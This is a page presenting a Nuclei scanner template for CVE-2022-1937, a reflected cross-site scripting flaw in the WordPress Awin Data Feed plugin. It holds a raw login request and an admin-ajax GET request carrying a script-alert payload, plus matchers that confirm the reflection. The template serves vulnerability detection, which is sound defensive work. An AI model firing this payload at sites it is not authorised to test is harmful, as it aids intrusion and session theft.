WordPress Awin Data Feed <=1.6 - Cross-Site Scripting

ID: CVE-2022-1937

Severity: medium

Author: Akincibor,DhiyaneshDK

Tags: cve,cve2022,xss,awin,wpscan,wp-plugin,wp,wordpress,authenticated

Description

WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.

YAML Source

id: CVE-2022-1937

info:
  name: WordPress Awin Data Feed <=1.6 - Cross-Site Scripting
  author: Akincibor,DhiyaneshDK
  severity: medium
  description: |
    WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eb40ea5d-a463-4947-9a40-d55911ff50e9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1937
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1937
    cwe-id: CWE-79
    epss-score: 0.00086
    epss-percentile: 0.36517
    cpe: cpe:2.3:a:awin:awin_data_feed:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: awin
    product: awin_data_feed
    framework: wordpress
  tags: cve,cve2022,xss,awin,wpscan,wp-plugin,wp,wordpress,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
          - contains(body_2, 'colspan=\"2\"><script>alert(document.domain)</script></th>')
        condition: and
# digest: 4b0a00483046022100cf1ce5977a739c8bc0a7e114deb988af117ad4fb059e2b0024f70c5f5ce35791022100da6853d3c392c23c3a18030eea7dbdf64ed445ef8e895e27a08754f283f267af:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1937.yaml"

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